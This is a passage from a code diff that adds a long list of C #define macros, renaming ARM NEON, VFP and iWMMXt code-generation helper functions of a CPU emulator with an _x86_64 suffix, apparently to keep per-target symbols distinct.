gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_x86_64 +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_x86_64 +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_x86_64 +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_x86_64 +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_x86_64 +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_x86_64 +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_x86_64 +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_x86_64 +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_x86_64 +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_x86_64 +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_x86_64 +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_x86_64 +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_x86_64 +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_x86_64 +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_x86_64 +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_x86_64 +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_x86_64 +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_x86_64 +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_x86_64 +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_x86_64 +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_x86_64 +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_x86_64 +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_x86_64 +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_x86_64 +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_x86_64 +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_x86_64 +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_x86_64 +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_x86_64 +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_x86_64 +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_x86_64 +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_x86_64 +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_x86_64 +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_x86_64 +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_x86_64 +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_x86_64 +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_x86_64 +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_x86_64 +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_x86_64 +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_x86_64 +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_x86_64 +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_x86_64 +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_x86_64 +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_x86_64 +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_x86_64 +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_x86_64 +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_x86_64 +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_x86_64 +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_x86_64 +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_x86_64 +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_x86_64 +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_x86_64 +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_x86_64 +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_x86_64 +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_x86_64 +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_x86_64 +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_x86_64 +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_x86_64 +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_x86_64 +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_x86_64 +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_x86_64 +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_x86_64 +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_x86_64 +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_x86_64 +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_x86_64 +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_x86_64 +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_x86_64 +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_x86_64 +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_x86_64 +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_x86_64 +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_x86_64 +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_x86_64 +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_x86_64 +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_x86_64 +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_x86_64 +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_x86_64 +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_x86_64 +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_x86_64 +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_x86_64 +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_x86_64 +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_x86_64 +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_x86_64 +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_x86_64 +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_x86_64 +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_x86_64 +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_x86_64 +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_x86_64 +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_x86_64 +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_x86_64 +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_x86_64 +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_x86_64 +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_x86_64 +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_x86_64 +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_x86_64 +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_x86_64 +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_x86_64 +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_x86_64 +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_x86_64 +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_x86_64 +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_x86_64 +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_x86_64 +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_x86_64 +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_x86_64 +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_x86_64 +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_x86_64 +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_x86_64 +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_x86_64 +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_x86_64 +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_x86_64 +#define gen_helper_neon_tbl gen_helper_neon_tbl_x86_64 +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_x86_64 +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_x86_64 +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_x86_64 +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_x86_64 +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_x86_64 +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_x86_64 +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_x86_64 +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_x86_64 +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_x86_64 +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_x86_64 +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_x86_64 +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_x86_64 +#define gen_helper_neon_zip16 gen_helper_neon_zip16_x86_64 +#define gen_helper_neon_zip8 gen_helper_neon_zip8_x86_64 +#define gen_helper_pre_hvc gen_helper_pre_hvc_x86_64 +#define gen_helper_pre_smc gen_helper_pre_smc_x86_64 +#define gen_helper_qadd16 gen_helper_qadd16_x86_64 +#define gen_helper_qadd8 gen_helper_qadd8_x86_64 +#define gen_helper_qaddsubx gen_helper_qaddsubx_x86_64 +#define gen_helper_qsub16 gen_helper_qsub16_x86_64 +#define gen_helper_qsub8 gen_helper_qsub8_x86_64 +#define gen_helper_qsubaddx gen_helper_qsubaddx_x86_64 +#define gen_helper_rbit gen_helper_rbit_x86_64 +#define gen_helper_recpe_f32 gen_helper_recpe_f32_x86_64 +#define gen_helper_recpe_u32 gen_helper_recpe_u32_x86_64 +#define gen_helper_recps_f32 gen_helper_recps_f32_x86_64 +#define gen_helper_rintd gen_helper_rintd_x86_64 +#define gen_helper_rintd_exact gen_helper_rintd_exact_x86_64 +#define gen_helper_rints gen_helper_rints_x86_64 +#define gen_helper_rints_exact gen_helper_rints_exact_x86_64 +#define gen_helper_ror_cc gen_helper_ror_cc_x86_64 +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_x86_64 +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_x86_64 +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_x86_64 +#define gen_helper_sadd16 gen_helper_sadd16_x86_64 +#define gen_helper_sadd8 gen_helper_sadd8_x86_64 +#define gen_helper_saddsubx gen_helper_saddsubx_x86_64 +#define gen_helper_sar_cc gen_helper_sar_cc_x86_64 +#define gen_helper_sdiv gen_helper_sdiv_x86_64 +#define gen_helper_sel_flags gen_helper_sel_flags_x86_64 +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_x86_64 +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_x86_64 +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_x86_64 +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_x86_64 +#define gen_helper_set_rmode gen_helper_set_rmode_x86_64 +#define gen_helper_set_user_reg gen_helper_set_user_reg_x86_64 +#define gen_helper_shadd16 gen_helper_shadd16_x86_64 +#define gen_helper_shadd8 gen_helper_shadd8_x86_64 +#define gen_helper_shaddsubx gen_helper_shaddsubx_x86_64 +#define gen_helper_shl_cc gen_helper_shl_cc_x86_64 +#define gen_helper_shr_cc gen_helper_shr_cc_x86_64 +#define gen_helper_shsub16 gen_helper_shsub16_x86_64 +#define gen_helper_shsub8 gen_helper_shsub8_x86_64 +#define gen_helper_shsubaddx gen_helper_shsubaddx_x86_64 +#define gen_helper_ssat gen_helper_ssat_x86_64 +#define gen_helper_ssat16 gen_helper_ssat16_x86_64 +#define gen_helper_ssub16 gen_helper_ssub16_x86_64 +#define gen_helper_ssub8 gen_helper_ssub8_x86_64 +#define gen_helper_ssubaddx gen_helper_ssubaddx_x86_64 +#define gen_helper_sub_saturate gen_helper_sub_saturate_x86_64 +#define gen_helper_sxtb16 gen_helper_sxtb16_x86_64 +#define gen_helper_uadd16 gen_helper_uadd16_x86_64 +#define gen_helper_uadd8 gen_helper_uadd8_x86_64 +#define gen_helper_uaddsubx gen_helper_uaddsubx_x86_64 +#define gen_helper_udiv gen_helper_udiv_x86_64 +#define gen_helper_uhadd16 gen_helper_uhadd16_x86_64 +#define gen_helper_uhadd8 gen_helper_uhadd8_x86_64 +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_x86_64 +#define gen_helper_uhsub16 gen_helper_uhsub16_x86_64 +#define gen_helper_uhsub8 gen_helper_uhsub8_x86_64 +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_x86_64 +#define gen_helper_uqadd16 gen_helper_uqadd16_x86_64 +#define gen_helper_uqadd8 gen_helper_uqadd8_x86_64 +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_x86_64 +#define gen_helper_uqsub16 gen_helper_uqsub16_x86_64 +#define gen_helper_uqsub8 gen_helper_uqsub8_x86_64 +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_x86_64 +#define gen_helper_usad8 gen_helper_usad8_x86_64 +#define gen_helper_usat gen_helper_usat_x86_64 +#define gen_helper_usat16 gen_helper_usat16_x86_64 +#define gen_helper_usub16 gen_helper_usub16_x86_64 +#define gen_helper_usub8 gen_helper_usub8_x86_64 +#define gen_helper_usubaddx gen_helper_usubaddx_x86_64 +#define gen_helper_uxtb16 gen_helper_uxtb16_x86_64 +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_x86_64 +#define gen_helper_v7m_msr gen_helper_v7m_msr_x86_64 +#define gen_helper_vfp_absd gen_helper_vfp_absd_x86_64 +#define gen_helper_vfp_abss gen_helper_vfp_abss_x86_64 +#define gen_helper_vfp_addd gen_helper_vfp_addd_x86_64 +#define gen_helper_vfp_adds gen_helper_vfp_adds_x86_64 +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_x86_64 +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_x86_64 +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_x86_64 +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_x86_64 +#define gen_helper_vfp_divd gen_helper_vfp_divd_x86_64 +#define gen_helper_vfp_divs gen_helper_vfp_divs_x86_64 +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_x86_64 +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_x86_64 +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_x86_64 +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_x86_64 +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_x86_64 +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_x86_64 +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_x86_64 +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_x86_64 +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_x86_64 +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_x86_64 +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_x86_64 +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_x86_64 +#define gen_helper_vfp_mins gen_helper_vfp_mins_x86_64 +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_x86_64 +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_x86_64 +#define gen_helper_vfp_muld gen_helper_vfp_muld_x86_64 +#define gen_helper_vfp_muls gen_helper_vfp_muls_x86_64 +#define gen_helper_vfp_negd gen_helper_vfp_negd_x86_64 +#define gen_helper_vfp_negs gen_helper_vfp_negs_x86_64 +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_x86_64 +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_x86_64 +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_x86_64 +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_x86_64 +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_x86_64 +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_x86_64 +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_x86_64 +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_x86_64 +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_x86_64 +#define gen_helper_vfp_subd gen_helper_vfp_subd_x86_64 +#define gen_helper_vfp_subs gen_helper_vfp_subs_x86_64 +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_x86_64 +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_x86_64 +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_x86_64 +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_x86_64 +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_x86_64 +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_x86_64 +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_x86_64 +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_x86_64 +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_x86_64 +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_x86_64 +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_x86_64 +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_x86_64 +#define gen_helper_vfp_touid gen_helper_vfp_touid_x86_64 +#define gen_helper_vfp_touis gen_helper_vfp_touis_x86_64 +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_x86_64 +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_x86_64 +#define gen_helper_vfp_tould gen_helper_vfp_tould_x86_64 +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_x86_64 +#define gen_helper_vfp_touls gen_helper_vfp_touls_x86_64 +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_x86_64 +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_x86_64 +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_x86_64 +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_x86_64 +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_x86_64 +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_x86_64 +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_x86_64 +#define gen_helper_wfe gen_helper_wfe_x86_64 +#define gen_helper_wfi gen_helper_wfi_x86_64 +#define gen_hvc gen_hvc_x86_64 +#define gen_intermediate_code_internal gen_intermediate_code_internal_x86_64 +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_x86_64 +#define gen_iwmmxt_address gen_iwmmxt_address_x86_64 +#define gen_iwmmxt_shift gen_iwmmxt_shift_x86_64 +#define gen_jmp gen_jmp_x86_64 +#define gen_load_and_replicate gen_load_and_replicate_x86_64 +#define gen_load_exclusive gen_load_exclusive_x86_64 +#define gen_logic_CC gen_logic_CC_x86_64 +#define gen_logicq_cc gen_logicq_cc_x86_64 +#define gen_lookup_tb gen_lookup_tb_x86_64 +#define gen_mov_F0_vreg gen_mov_F0_vreg_x86_64 +#define gen_mov_F1_vreg gen_mov_F1_vreg_x86_64 +#define gen_mov_vreg_F0 gen_mov_vreg_F0_x86_64 +#define gen_muls_i64_i32 gen_muls_i64_i32_x86_64 +#define gen_mulu_i64_i32 gen_mulu_i64_i32_x86_64 +#define gen_mulxy gen_mulxy_x86_64 +#define gen_neon_add gen_neon_add_x86_64 +#define gen_neon_addl gen_neon_addl_x86_64 +#define gen_neon_addl_saturate gen_neon_addl_saturate_x86_64 +#define gen_neon_bsl gen_neon_bsl_x86_64 +#define gen_neon_dup_high16 gen_neon_dup_high16_x86_64 +#define gen_neon_dup_low16 gen_neon_dup_low16_x86_64 +#define gen_neon_dup_u8 gen_neon_dup_u8_x86_64 +#define gen_neon_mull gen_neon_mull_x86_64 +#define gen_neon_narrow gen_neon_narrow_x86_64 +#define gen_neon_narrow_op gen_neon_narrow_op_x86_64 +#define gen_neon_narrow_sats gen_neon_narrow_sats_x86_64 +#define gen_neon_narrow_satu gen_neon_narrow_satu_x86_64 +#define gen_neon_negl gen_neon_negl_x86_64 +#define gen_neon_rsb gen_neon_rsb_x86_64 +#define gen_neon_shift_narrow gen_neon_shift_narrow_x86_64 +#define gen_neon_subl gen_neon_subl_x86_64 +#define gen_neon_trn_u16 gen_neon_trn_u16_x86_64 +#define gen_neon_trn_u8 gen_neon_trn_u8_x86_64 +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_x86_64 +#define gen_neon_unzip gen_neon_unzip_x86_64 +#define gen_neon_widen gen_neon_widen_x86_64 +#define gen_neon_zip gen_neon_zip_x86_64 +#define gen_new_label gen_new_label_x86_64 +#define gen_nop_hint gen_nop_hint_x86_64 +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_x86_64 +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_x86_64 +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_x86_64 +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_x86_64 +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_x86_64 +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_x86_64 +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_x86_64 +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_x86_64 +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_x86_64 +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_x86_64 +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_x86_64 +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_x86_64 +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_x86_64 +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_x86_64 +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_x86_64 +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_x86_64 +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_x86_64 +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_x86_64 +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_x86_64 +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_x86_64 +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_x86_64 +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_x86_64 +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_x86_64 +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_x86_64 +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_x86_64 +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_x86_64 +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_x86_64 +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_x86_64 +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_x86_64 +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_x86_64 +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_x86_64 +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_x86_64 +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_x86_64 +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_x86_64 +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_x86_64 +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_x86_64 +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_x86_64 +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_x86_64 +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_x86_64 +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_x86_64 +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_x86_64 +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_x86_64 +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_x86_64 +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_x86_64 +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_x86_64 +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_x86_64 +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_x86_64 +#define 